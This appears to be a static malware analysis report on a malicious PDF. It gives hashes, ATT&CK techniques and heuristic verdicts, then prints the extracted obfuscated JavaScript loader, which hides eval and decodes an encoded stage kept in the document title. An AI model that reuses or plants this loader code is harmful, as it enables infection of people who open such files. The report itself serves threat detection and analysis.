Malicious PDF — malware analysis report

Static analysis result for SHA-256 0e2121b8803494b0…

MALICIOUS

PDF

44.7 KB First seen: 2013-06-26
MD5: 91944c6b721a883d3194d9555e5621e1 SHA-1: 66c19b8d279b88d980d28d501283cc5f602f81c9 SHA-256: 0e2121b8803494b072b0a3e12525461ac527ab0bdc48aeeeee0fb239ef44234b
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. This script attempts to reconstruct a URL by concatenating string fragments and then likely uses it to download and execute a second-stage payload. The reconstructed string 'mlmju' is the result of this deobfuscation process.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF70 612 bytes
SHA-256: 297de46363d8961266a223438b1aab5381c19175e749f4dbad507ca3ccf20108
Preview script
First 1,000 lines of the extracted script
mlmju='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
dgcy=e('ti'+'tle');
s=dgcy.substr(t.length + 8,3)+'str';
q=dgcy[s](1,(1,9));
gey=e('S'+'tring.fro'+q);
q=dgcy[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	los = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	mlmju += gey(los);
}
e(mlmju);

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